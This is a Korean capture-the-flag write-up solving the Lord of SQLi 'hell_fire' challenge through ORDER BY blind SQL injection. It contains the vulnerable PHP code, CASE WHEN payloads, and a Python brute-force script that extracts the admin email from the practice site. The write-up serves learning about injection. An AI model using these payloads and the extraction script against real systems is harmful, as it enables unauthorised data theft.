Write-Up
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
위의 php 서버 코드를 보면, 현재 injection point는 order by 절 뒤이다. 해당 문제를 풀기 위해 CASE WHEN 구문을 사용해줬다.
CASE WHEN length(email)=18 THEN 0 ELSE 1 END;
위의 payload를 order 파라미터의 인자 값으로 전달 할 때, 테이블 상 rubiya 가 admin 보다 높은 자리에 위치하게 된다. ( 18을 사용한 이유는 id: rubiya의 email 길이가 18글자 였기 때문이다. )
CASE WHEN length(email) > 18 THEN 0 ELSE 1 END;
위와 같이 email 컬럼의 길이가 18 글자를 초과한다는 조건일 때는 admin 이 rubiya 보다 높아지게 된다. 이를 이용해 주기로 한다.
CASE%20WHEN%20length(email)%20=%2028%20THEN%200%20ELSE%201%20END;
위 payload로 admin의 email 길이는 28글자 임을 알게 되었다.
이제 email 값을 구하기로 한다. 아래와 같이 CASE WEHN 구문을 사용해 준다.
CASE WHEN ascii(substr(email,1,1))=1 THEN 0 WHEN length(email) < 28 THEN 1 ELSE 2 END;
아래와 같이 자동화 코드를 사용해준다.
import requests
import string
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order= "
cookies ={'PHPSESSID':"keogb0hg2e84st5u0ejgaa33d8"}
result=""
for i in range(3,6):
for j in range(32,127):
param="CASE WHEN ascii(substr(email,"+str(i)+",1))="+str(j)+" THEN 0 WHEN length(email) < 28 THEN 1 ELSE 2 END"
URL = url+param
response = requests.get(URL, cookies=cookies)
# print(response.text)
# if "<tbody><tr><th>id</th><th>email</th><th>score</th></tr><tr><td>admin</td><td>**************</td><td>200</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr></tbody>" in response.text:
if "<table border=1><tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya</td><td>rubiya805@gmail.cm</td><td>100</td></tr><tr><td>admin</td><td>**************</td><td>200</td></tr></table>" not in response.text:
result += chr(j)
print(i,":",result)
break
print("email: "+result)
email 글자로, admn_secure_email@emai1.com 가 구해진다. 그런데 28글자가 아닌, 27자이다. 그 이유는 id rubiya의 email을 보면되는데, rubiya805@gmail.cm 이다. 4번째 글자가 i 로 같다. DB 상 rubiya가 더 위에 있기에 4번째 글자는 출력되지 않은 것으로 보인다.
( 문제와 관련 없음 )
처음에는 "<tbody><tr>......"과 같이 reponse 응답을 잡으려 했는데, 응답에 <tbody>가 오지 않았다. reponse.text를 찍어봤고, 페이지 리소스를 볼 때도 <tbody> 태그가 없었다. 오직, 개발자 도구를 통해서만 확인이 가능했다. 이유는 모르겠다. 브라우저에서 해석해(정리해) <tbody>로 나타내주는건가.. 추측이다..
실습
위 그림 1은 ORDER BY 정렬 시, CASE WEHN을 통해 조건을 거는 실습 예제이다. 0, 1, 2 .... 순서 대로 순위를 정해주었고, 그 순서대로 적용되어 정렬된 채 출력된 것을 확인할 수 있다.
참고
order by 관련 injection
https://dailylearn.tistory.com/36